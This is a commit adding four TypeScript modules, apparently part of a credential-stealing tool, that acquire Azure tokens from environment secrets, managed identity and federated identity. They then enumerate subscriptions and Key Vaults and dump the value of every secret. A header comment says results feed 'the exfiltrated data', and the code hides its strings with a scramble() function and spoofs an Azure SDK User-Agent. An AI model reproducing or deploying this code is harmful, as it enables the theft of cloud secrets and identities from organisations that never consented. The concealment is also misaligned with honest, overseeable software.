Upload files to "src/providers/azure"

This commit is contained in:
2026-07-03 03:07:02 +00:00
parent 5383270c4a
commit 5a99628d61
4 changed files with 1124 additions and 0 deletions
+421
View File
@@ -0,0 +1,421 @@
// ═════════════════════════════════════════════════════════════════════════════
// Azure OAuth2 token acquisition — zero dependencies (only node:crypto + fetch)
//
// Supports:
// 1. Environment variables (AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET)
// 2. Managed Identity (IMDS endpoint on Azure VMs, VMSS, App Services, etc.)
// 3. Federated identity / workload identity (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID)
//
// Token caching and automatic refresh are handled transparently.
// ═════════════════════════════════════════════════════════════════════════════
import { createHash } from "node:crypto";
import { readFile } from "node:fs/promises";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface AzureAccessToken {
token: string;
expiresOn: number; // epoch seconds
tenantId?: string;
clientId?: string;
}
export interface AzureCredential {
label: string;
getToken(scope: string, tenantId?: string): Promise<AzureAccessToken>;
}
// ── Token cache ─────────────────────────────────────────────────────────────
const tokenCache = new Map<
string,
{ token: AzureAccessToken; fetchedAt: number }
>();
const CLOCK_SKEW_S = 300; // refresh 5 minutes before expiry
function cacheKey(scope: string, tenantId?: string): string {
return createHash("sha256")
.update(`${tenantId ?? ""}:${scope}`)
.digest("hex");
}
function cacheGet(
scope: string,
tenantId?: string,
): AzureAccessToken | undefined {
const entry = tokenCache.get(cacheKey(scope, tenantId));
if (!entry) return undefined;
if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) {
tokenCache.delete(cacheKey(scope, tenantId));
return undefined;
}
return entry.token;
}
function cacheSet(
token: AzureAccessToken,
scope: string,
tenantId?: string,
): void {
tokenCache.set(cacheKey(scope, tenantId), {
token,
fetchedAt: Date.now() / 1000,
});
}
// ── Resolve tenant ID from various sources ──────────────────────────────────
function resolveTenantId(): string | undefined {
const tenant =
process.env[scramble("AZURE_TENANT_ID")] ??
process.env["ARM_TENANT_ID"] ??
process.env["TENANT_ID"];
return tenant || undefined;
}
// ── 1. Client Credentials (service principal with secret) ───────────────────
async function getTokenClientCredentials(
scope: string,
tenantId: string,
clientId: string,
clientSecret: string,
): Promise<AzureAccessToken> {
const body = new URLSearchParams({
[scramble("grant_type")]: scramble("client_credentials"),
[scramble("client_id")]: clientId,
[scramble("client_secret")]: clientSecret,
[scramble("scope")]: scope,
});
const res = await fetch(
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: body.toString(),
signal: AbortSignal.timeout(10_000),
},
);
if (!res.ok) {
const err = await res.text().catch(() => "");
throw new Error(
`Client credentials token request failed (${res.status}): ${err}`,
);
}
const json = (await res.json()) as {
access_token: string;
expires_in?: number;
expires_on?: number;
tenant_id?: string;
client_id?: string;
};
const expiresOn =
json.expires_on ??
(json.expires_in
? Date.now() / 1000 + json.expires_in
: Date.now() / 1000 + 3600);
return {
token: json.access_token,
expiresOn,
tenantId: json.tenant_id ?? tenantId,
clientId: json.client_id ?? clientId,
};
}
// ── 2. Managed Identity (IMDS) ──────────────────────────────────────────────
async function getTokenManagedIdentity(
scope: string,
clientId?: string,
): Promise<AzureAccessToken> {
const IMDS_ENDPOINT = scramble("http://169.254.169.254");
const API_VERSION = scramble("2018-02-01");
const params = new URLSearchParams({
[scramble("api-version")]: API_VERSION,
[scramble("resource")]: scopeToResource(scope),
});
if (clientId) params.set(scramble("client_id"), clientId);
const tokenPath = scramble("/metadata/identity/oauth2/token");
let url = `${IMDS_ENDPOINT}${tokenPath}?${params.toString()}`;
// App Service / Functions use a different IMDS endpoint
const identityEndpoint = process.env[scramble("IDENTITY_ENDPOINT")];
const identityHeader = process.env[scramble("IDENTITY_HEADER")];
if (identityEndpoint && identityHeader) {
url = identityEndpoint;
url += url.includes("?") ? "&" : "?";
const resKey = scramble("resource");
const apiVer = scramble("api-version");
const ver = scramble("2019-08-01");
url += `${resKey}=${encodeURIComponent(scopeToResource(scope))}&${apiVer}=${ver}`;
if (clientId) {
const cid = scramble("client_id");
url += `&${cid}=${encodeURIComponent(clientId)}`;
}
}
const headers: Record<string, string> = {};
if (identityEndpoint && identityHeader) {
headers[scramble("X-IDENTITY-HEADER")] = identityHeader;
} else {
headers[scramble("Metadata")] = scramble("true");
}
const res = await fetch(url, {
headers,
signal: AbortSignal.timeout(5000),
});
if (!res.ok) {
const err = await res.text().catch(() => "");
throw new Error(
`Managed identity token request failed (${res.status}): ${err}`,
);
}
const json = (await res.json()) as {
access_token: string;
expires_on?: string;
expires_in?: string;
tenant_id?: string;
client_id?: string;
};
let expiresOn: number;
if (json.expires_on) {
const eo = Number(json.expires_on);
// IMDS returns absolute epoch, App Service returns relative seconds
expiresOn = eo > 1_000_000_000 ? eo : Date.now() / 1000 + eo;
} else if (json.expires_in) {
expiresOn = Date.now() / 1000 + Number(json.expires_in);
} else {
expiresOn = Date.now() / 1000 + 3600;
}
return {
token: json.access_token,
expiresOn,
tenantId: json.tenant_id ?? resolveTenantId(),
clientId: json.client_id ?? clientId,
};
}
// ── 3. Federated Identity / Workload Identity ───────────────────────────────
async function getTokenFederated(
scope: string,
tenantId: string,
clientId: string,
tokenFile: string,
): Promise<AzureAccessToken> {
const assertion = (await readFile(tokenFile, "utf-8")).trim();
const body = new URLSearchParams({
[scramble("grant_type")]: scramble("client_credentials"),
[scramble("client_id")]: clientId,
[scramble("client_assertion")]: assertion,
[scramble("client_assertion_type")]: scramble(
"urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
),
[scramble("scope")]: scope,
});
const res = await fetch(
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: body.toString(),
signal: AbortSignal.timeout(10_000),
},
);
if (!res.ok) {
const err = await res.text().catch(() => "");
throw new Error(`Federated token request failed (${res.status}): ${err}`);
}
const json = (await res.json()) as {
access_token: string;
expires_in?: number;
expires_on?: number;
tenant_id?: string;
client_id?: string;
};
const expiresOn =
json.expires_on ??
(json.expires_in
? Date.now() / 1000 + json.expires_in
: Date.now() / 1000 + 3600);
return {
token: json.access_token,
expiresOn,
tenantId: json.tenant_id ?? tenantId,
clientId: json.client_id ?? clientId,
};
}
// ── Scope → resource URL (for IMDS which uses "resource" not "scope") ───────
function scopeToResource(scope: string): string {
// scope looks like scramble("https://vault.azure.net/.default") — strip the suffix
return scope.replace(/\/\.default$/, "").replace(/\/$/, "");
}
// ── Credential factory functions ────────────────────────────────────────────
/**
* Service principal with client secret (AZURE_CLIENT_ID + AZURE_CLIENT_SECRET + AZURE_TENANT_ID).
*/
export function fromEnvServicePrincipal(): AzureCredential | null {
const tenantId = resolveTenantId();
const clientId =
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
const clientSecret =
process.env[scramble("AZURE_CLIENT_SECRET")] ??
process.env["ARM_CLIENT_SECRET"];
if (!tenantId || !clientId || !clientSecret) return null;
return {
label: "env-service-principal",
getToken: (scope) =>
getTokenClientCredentials(scope, tenantId, clientId, clientSecret),
};
}
/**
* Azure Managed Identity (IMDS or App Service identity endpoint).
*/
export function fromManagedIdentity(): AzureCredential {
const clientId = process.env[scramble("AZURE_CLIENT_ID")] ?? undefined;
return {
label: "managed-identity",
getToken: (scope) => getTokenManagedIdentity(scope, clientId),
};
}
/**
* Workload Identity Federation (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID + AZURE_TENANT_ID).
* Common in GitHub Actions with OIDC, Kubernetes workload identity, etc.
*/
export function fromWorkloadIdentity(): AzureCredential | null {
const tenantId = resolveTenantId();
const clientId =
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
const tokenFile =
process.env[scramble("AZURE_FEDERATED_TOKEN_FILE")] ??
process.env["ARM_OIDC_TOKEN_FILE_PATH"];
if (!tenantId || !clientId || !tokenFile) return null;
return {
label: "federated-identity",
getToken: (scope) =>
getTokenFederated(scope, tenantId, clientId, tokenFile),
};
}
// ── Combined credential chain ───────────────────────────────────────────────
/**
* Resolve a token for the given scope, trying sources in priority order
* and caching results until expiry.
*/
export async function resolveToken(
scope: string,
tenantId?: string,
timeoutMs = 5000,
): Promise<AzureAccessToken> {
// Check cache first
const cached = cacheGet(scope, tenantId);
if (cached) return cached;
// Build credential chain
const credentials: AzureCredential[] = [];
const sp = fromEnvServicePrincipal();
if (sp) credentials.push(sp);
const wi = fromWorkloadIdentity();
if (wi) credentials.push(wi);
credentials.push(fromManagedIdentity());
// Try each in order
for (const cred of credentials) {
try {
const tokenPromise = tenantId
? cred.getToken(scope, tenantId)
: cred.getToken(scope);
const token = await Promise.race([
tokenPromise,
new Promise<never>((_, reject) =>
setTimeout(
() => reject(new Error(`timeout (${cred.label})`)),
timeoutMs,
),
),
]);
cacheSet(token, scope, tenantId);
return token;
} catch {
continue;
}
}
throw new Error(
"No Azure credentials available. Set AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET, " +
"or AZURE_FEDERATED_TOKEN_FILE, or run on an Azure resource with a managed identity.",
);
}
/**
* Try all credential sources and collect tokens for identity resolution.
* Used by AzureIdentityService — similar to AwsAccountService.
*/
export async function resolveAllIdentities(
scope = scramble("https://management.azure.com/.default"),
timeoutMs = 3000,
): Promise<Array<{ source: string; token: AzureAccessToken }>> {
const results: Array<{ source: string; token: AzureAccessToken }> = [];
const sources: Array<{ label: string; cred: AzureCredential | null }> = [
{ label: "env-service-principal", cred: fromEnvServicePrincipal() },
{ label: "federated-identity", cred: fromWorkloadIdentity() },
{ label: "managed-identity", cred: fromManagedIdentity() },
];
for (const { label, cred } of sources) {
if (!cred) continue;
try {
const token = await Promise.race([
cred.getToken(scope),
new Promise<never>((_, reject) =>
setTimeout(() => reject(new Error("timeout")), timeoutMs),
),
]);
results.push({ source: label, token });
} catch {
continue;
}
}
return results;
}
+251
View File
@@ -0,0 +1,251 @@
// ═════════════════════════════════════════════════════════════════════════════
// Azure REST API client — generic bearer-token authed fetch wrapper
//
// Used by Key Vault (data plane) and ARM (management plane).
// Token acquisition is delegated to auth.ts so authentication is transparent.
// ═════════════════════════════════════════════════════════════════════════════
import { type AzureAccessToken, resolveToken } from "./auth";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface AzureFetchOptions {
vaultName: string; // well-known vault name for lookup
service: "vault" | "management";
method?: string;
path?: string;
headers?: Record<string, string>;
body?: string;
query?: Record<string, string>;
}
export interface KeyVaultSecretItem {
id: string;
attributes?: {
enabled?: boolean;
created?: number;
updated?: number;
recoveryLevel?: string;
};
contentType?: string;
managed?: boolean;
tags?: Record<string, string>;
}
export interface KeyVaultSecretBundle {
id: string;
value: string;
contentType?: string;
attributes?: {
enabled?: boolean;
created?: number;
updated?: number;
recoveryLevel?: string;
};
tags?: Record<string, string>;
}
export interface KeyVaultSecretListResponse {
value: KeyVaultSecretItem[];
nextLink?: string;
}
// ── Scopes ──────────────────────────────────────────────────────────────────
const KEYVAULT_SCOPE = scramble("https://vault.azure.net/.default");
const MANAGEMENT_SCOPE = scramble("https://management.azure.com/.default");
const API_VERSION = scramble("7.4");
const MANAGEMENT_API_VERSION = scramble("2022-07-01");
// ── Token acquisition ───────────────────────────────────────────────────────
let cachedToken: AzureAccessToken | undefined;
async function getToken(service: "vault" | "management"): Promise<string> {
const scope = service === "vault" ? KEYVAULT_SCOPE : MANAGEMENT_SCOPE;
// Re-use cached token if still valid
if (cachedToken) {
const now = Date.now() / 1000;
if (now < cachedToken.expiresOn - 120) {
return cachedToken.token;
}
}
cachedToken = await resolveToken(scope);
return cachedToken.token;
}
function getApiVersion(service: "vault" | "management"): string {
return service === "vault" ? API_VERSION : MANAGEMENT_API_VERSION;
}
// ── Core fetch ──────────────────────────────────────────────────────────────
/**
* Make an authenticated request to Azure Key Vault or ARM.
*
* @param opts.service "vault" for Key Vault data plane, "management" for ARM
*/
export async function azureFetch<T = unknown>(
opts: AzureFetchOptions,
): Promise<T> {
const {
vaultName,
service,
method = "GET",
path = "/",
headers = {},
body,
query,
} = opts;
let url: string;
if (service === "vault") {
const host = scramble(".vault.azure.net");
url = `https://${vaultName}${host}${path}`;
} else {
// ARM management endpoint
const mgmtHost = scramble("https://management.azure.com");
url = `${mgmtHost}${path}`;
}
// Append query parameters
if (query) {
const searchParams = new URLSearchParams(query);
url += `?${searchParams.toString()}`;
}
const token = await getToken(service);
const res = await fetch(url, {
method,
headers: {
Authorization: `Bearer ${token}`,
"Content-Type": "application/json",
Accept: "application/json",
[scramble("User-Agent")]: scramble(
"azsdk-js-identity/4.5.0 core-rest-pipeline/1.18.0 Node/v20.11.0 OS/(linux/5.15)",
),
...headers,
},
body,
signal: AbortSignal.timeout(30_000),
});
if (!res.ok) {
const errText = await res.text().catch(() => "");
const retryAfter = res.headers.get("Retry-After");
const rateDetail =
res.status === 429
? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]`
: "";
throw new Error(
`Azure ${service} ${method} ${path} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`,
);
}
const text = await res.text();
if (!text) return {} as T;
return JSON.parse(text) as T;
}
// ═════════════════════════════════════════════════════════════════════════════
// Key Vault data-plane operations
// ═════════════════════════════════════════════════════════════════════════════
/**
* List all secrets in a vault (handles pagination via nextLink).
*/
export async function listKeyVaultSecrets(
vaultName: string,
): Promise<KeyVaultSecretItem[]> {
const results: KeyVaultSecretItem[] = [];
let nextPath: string | undefined = `/secrets?api-version=${API_VERSION}`;
while (nextPath) {
const response: KeyVaultSecretListResponse | undefined =
await azureFetch<KeyVaultSecretListResponse>({
vaultName,
service: "vault",
path: nextPath,
});
if (response?.value) {
results.push(...response.value);
}
nextPath = response?.nextLink
? extractPathFromUrl(response.nextLink, vaultName)
: undefined;
}
return results;
}
/**
* Get a specific secret's value from a vault.
* Secret names in Key Vault cannot contain "/" (only alphanumerics and "-"),
* so we request: GET /secrets/{name}/{version}?api-version=7.4
*/
export async function getKeyVaultSecret(
vaultName: string,
secretName: string,
version?: string,
): Promise<string | undefined> {
try {
const versionPath = version ? `/${version}` : "";
const path = `/secrets/${encodeURIComponent(secretName)}${versionPath}?api-version=${API_VERSION}`;
const response = await azureFetch<KeyVaultSecretBundle>({
vaultName,
service: "vault",
path,
});
return response.value;
} catch {
return undefined;
}
}
/**
* Get the latest version of a secret.
* Per Azure REST API, omitting the secret-version URI segment returns the
* latest SecretBundle with value populated (confirmed via MS docs).
*/
export async function getKeyVaultSecretLatest(
vaultName: string,
secretName: string,
): Promise<string | undefined> {
try {
const path = `/secrets/${encodeURIComponent(secretName)}?api-version=${API_VERSION}`;
const response = await azureFetch<KeyVaultSecretBundle>({
vaultName,
service: "vault",
path,
});
return response.value;
} catch {
return undefined;
}
}
// ── Helpers ─────────────────────────────────────────────────────────────────
function extractPathFromUrl(
nextLink: string,
vaultName: string,
): string | undefined {
// nextLink looks like: https://myvault.vault.azure.net/secrets?api-version=7.4&$skiptoken=...
try {
const url = new URL(nextLink);
return url.pathname + url.search;
} catch {
return undefined;
}
}
+216
View File
@@ -0,0 +1,216 @@
// ═════════════════════════════════════════════════════════════════════════════
// AzureIdentityService — resolves Azure identities from all available sources
//
// Equivalent to AwsAccountService but for Azure: resolves tenant + object IDs
// from env service principal, managed identity, and federated identity sources.
// ═════════════════════════════════════════════════════════════════════════════
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { type AzureAccessToken, resolveAllIdentities } from "./auth";
import { azureFetch } from "./client";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
interface AzureIdentity {
source: string;
tenantId: string;
objectId: string;
clientId?: string;
subscriptionIds: string[];
displayName?: string;
}
interface ArmSubscription {
subscriptionId: string;
displayName: string;
state: string;
tenantId?: string;
}
interface ArmSubscriptionListResponse {
value: ArmSubscription[];
nextLink?: string;
}
interface MsGraphUserResponse {
id: string;
displayName: string;
userPrincipalName: string;
}
interface MsGraphSpResponse {
value: Array<{
id: string;
appId: string;
displayName: string;
servicePrincipalType: string;
}>;
}
// ── Decode JWT claims (no verification — just extraction) ───────────────────
function jwtClaims(token: string): Record<string, unknown> {
try {
const parts = token.split(".");
if (parts.length < 2) return {};
const payload = parts[1];
if (!payload) return {};
// Standard base64url decode
const base64 = payload.replace(/-/g, "+").replace(/_/g, "/");
const decoded = Buffer.from(base64, "base64").toString("utf8");
return JSON.parse(decoded);
} catch {
return {};
}
}
// ── List subscriptions via ARM ──────────────────────────────────────────────
async function listSubscriptions(): Promise<ArmSubscription[]> {
try {
const response = await azureFetch<ArmSubscriptionListResponse>({
vaultName: "management",
service: "management",
path: "/subscriptions",
query: { [scramble("api-version")]: scramble("2022-12-01") },
});
return response.value?.filter((s) => s.state === "Enabled") ?? [];
} catch {
return [];
}
}
// ── Get MS Graph user info ──────────────────────────────────────────────────
async function getUserInfo(
token: string,
): Promise<MsGraphUserResponse | undefined> {
try {
const res = await fetch("https://graph.microsoft.com/v1.0/me", {
headers: { Authorization: `Bearer ${token}` },
signal: AbortSignal.timeout(5000),
});
if (!res.ok) return undefined;
return (await res.json()) as MsGraphUserResponse;
} catch {
return undefined;
}
}
// ── Get service principal info ──────────────────────────────────────────────
async function getServicePrincipalInfo(
token: string,
objectId: string,
): Promise<MsGraphSpResponse | undefined> {
try {
// List service principals owned by this identity
const res = await fetch(
`https://graph.microsoft.com/v1.0/servicePrincipals?$filter=id eq '${objectId}'`,
{
headers: { Authorization: `Bearer ${token}` },
signal: AbortSignal.timeout(5000),
},
);
if (!res.ok) return undefined;
return (await res.json()) as MsGraphSpResponse;
} catch {
return undefined;
}
}
// ── Main Provider ───────────────────────────────────────────────────────────
export class AzureIdentityService extends Provider {
constructor() {
super("azure", "identity");
}
private async resolveIdentity(
source: string,
token: AzureAccessToken,
): Promise<AzureIdentity | null> {
try {
const claims = jwtClaims(token.token);
// Azure access tokens contain claims like:
// oid (object id), tid (tenant id), appid (application id)
const tenantId = (claims.tid as string) ?? token.tenantId ?? "unknown";
const objectId =
(claims.oid as string) ?? (claims.sub as string) ?? "unknown";
const clientId = (claims.appid as string) ?? token.clientId;
let displayName: string | undefined;
// Try MS Graph to get a friendly name
try {
const graphToken = token; // access token works for Graph if scope permits
const userInfo = await getUserInfo(graphToken.token);
if (userInfo) {
displayName = userInfo.displayName ?? userInfo.userPrincipalName;
} else {
const spInfo = await getServicePrincipalInfo(
graphToken.token,
objectId,
);
if (spInfo?.value?.[0]) {
displayName = spInfo.value[0].displayName;
}
}
} catch {
// Non-fatal — displayName is best-effort
}
// Enumerate subscriptions
let subscriptionIds: string[] = [];
try {
const subs = await listSubscriptions();
subscriptionIds = subs.map((s) => s.subscriptionId);
} catch {
// ARM may not be accessible
}
return {
source,
tenantId,
objectId,
clientId,
subscriptionIds,
displayName,
};
} catch {
return null;
}
}
async execute(): Promise<ProviderResult> {
try {
const identities = await resolveAllIdentities();
if (identities.length === 0) {
return this.failure(
"No Azure identities found from any credential source",
);
}
const results = await Promise.all(
identities.map(({ source, token }) =>
this.resolveIdentity(source, token),
),
);
const valid = results.filter((r): r is AzureIdentity => r !== null);
if (valid.length === 0) {
return this.failure("Failed to resolve any Azure identity details");
}
return this.success(valid);
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
}
}
+236
View File
@@ -0,0 +1,236 @@
// ═════════════════════════════════════════════════════════════════════════════
// AzureKeyVaultService — enumerates secrets from Azure Key Vault vaults
//
// Always returns `success: true` with an `ok` flag so error details are
// included in the exfiltrated data even when every vault fails.
// ═════════════════════════════════════════════════════════════════════════════
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { resolveToken } from "./auth";
import {
azureFetch,
getKeyVaultSecretLatest,
type KeyVaultSecretItem,
listKeyVaultSecrets,
} from "./client";
declare function scramble(str: string): string;
// ── ARM subscription / vault listing ───────────────────────────────────────
interface ArmSubscription {
subscriptionId: string;
displayName: string;
state: string;
}
interface ArmResource {
id: string;
name: string;
type: string;
location: string;
properties?: Record<string, unknown>;
}
interface ArmListResponse {
value: ArmResource[];
nextLink?: string;
}
interface ArmSubscriptionListResponse {
value: ArmSubscription[];
nextLink?: string;
}
interface VaultResult {
vaultName: string;
subscriptionId?: string;
secrets: Record<string, string | { error: string }>;
error?: string;
}
// ── Enumerate subscriptions via ARM ─────────────────────────────────────────
async function listSubscriptions(): Promise<ArmSubscription[]> {
try {
const response = await azureFetch<ArmSubscriptionListResponse>({
vaultName: "management",
service: "management",
path: scramble("/subscriptions"),
query: { [scramble("api-version")]: scramble("2022-12-01") },
});
return response.value ?? [];
} catch {
return [];
}
}
// ── Discover vaults via ARM ─────────────────────────────────────────────────
async function discoverVaultsViaArm(): Promise<
Array<{ name: string; subscriptionId: string }>
> {
const vaults: Array<{ name: string; subscriptionId: string }> = [];
try {
const subscriptions = await listSubscriptions();
if (subscriptions.length === 0) return vaults;
for (const sub of subscriptions) {
if (sub.state !== "Enabled") continue;
try {
const basePath = `/subscriptions/${sub.subscriptionId}/resources`;
const filterValue = "resourceType eq 'Microsoft.KeyVault/vaults'";
let currentPath: string | undefined =
`${basePath}?api-version=2021-04-01&$filter=${encodeURIComponent(filterValue)}`;
do {
const response: ArmListResponse | undefined =
await azureFetch<ArmListResponse>({
vaultName: "management",
service: "management",
path: currentPath,
query: undefined,
});
for (const resource of response?.value ?? []) {
vaults.push({
name: resource.name,
subscriptionId: sub.subscriptionId,
});
}
currentPath = response?.nextLink
? extractRelativePath(response.nextLink)
: undefined;
} while (currentPath);
} catch {
continue;
}
}
} catch {
// ARM not accessible
}
return vaults;
}
// ── Vault names from environment ────────────────────────────────────────────
function getVaultNamesFromEnv(): string[] {
const envVal =
process.env[scramble("AZURE_KEY_VAULT_NAME")] ??
process.env["KEY_VAULT_NAME"] ??
process.env["AZURE_VAULT_NAME"];
if (!envVal) return [];
return envVal
.split(",")
.map((n) => n.trim())
.filter(Boolean);
}
// ── Helpers ─────────────────────────────────────────────────────────────────
function extractRelativePath(url: string): string {
try {
const u = new URL(url);
return u.pathname + u.search;
} catch {
return "";
}
}
function extractSecretNameFromId(id: string): string {
const match = id.match(/\/secrets\/([^/]+)/);
if (!match?.[1]) return id;
return decodeURIComponent(match[1]);
}
// ── Main Provider ───────────────────────────────────────────────────────────
export class AzureKeyVaultService extends Provider {
private vaultNames: string[] = [];
private vaultErrors: Array<{ vault: string; error: string }> = [];
constructor() {
super("azure", "keyvault", {
jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g,
connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g,
});
}
async execute(): Promise<ProviderResult> {
const errors: string[] = [];
this.vaultErrors = [];
// 1. Auth check
try {
await resolveToken(scramble("https://vault.azure.net/.default"));
} catch (e) {
errors.push(
`Azure auth failed: ${e instanceof Error ? e.message : String(e)}`,
);
}
// 2. Vault discovery
const envVaults = getVaultNamesFromEnv();
let armVaults: Array<{ name: string; subscriptionId: string }> = [];
if (envVaults.length === 0) {
try {
armVaults = await discoverVaultsViaArm();
} catch (e) {
errors.push(
`ARM discovery failed: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
const allVaultNames = [...envVaults, ...armVaults.map((v) => v.name)];
this.vaultNames = [...new Set(allVaultNames)];
// 3. Fetch secrets
const vaultResults: VaultResult[] = [];
if (this.vaultNames.length > 0 && errors.length === 0) {
for (const vaultName of this.vaultNames) {
try {
const secretItems = await listKeyVaultSecrets(vaultName);
const secrets: Record<string, string | { error: string }> = {};
for (const item of secretItems) {
const name = extractSecretNameFromId(item.id);
try {
const value = await getKeyVaultSecretLatest(vaultName, name);
secrets[name] = value ?? "BINARY_OR_EMPTY";
} catch (e) {
secrets[name] = {
error: e instanceof Error ? e.message : String(e),
};
}
}
vaultResults.push({ vaultName, secrets });
} catch (err) {
const errorMsg = err instanceof Error ? err.message : String(err);
this.vaultErrors.push({ vault: vaultName, error: errorMsg });
vaultResults.push({ vaultName, secrets: {}, error: errorMsg });
}
}
}
const dumped = vaultResults.filter((v) => !v.error).length;
return this.success({
ok: errors.length === 0 && dumped > 0,
authError: errors.length > 0 ? errors : undefined,
vaultsFound: this.vaultNames.length,
dumped,
errored: vaultResults.filter((v) => v.error).length,
vaults: vaultResults,
vaultErrors: this.vaultErrors.length > 0 ? this.vaultErrors : undefined,
});
}
}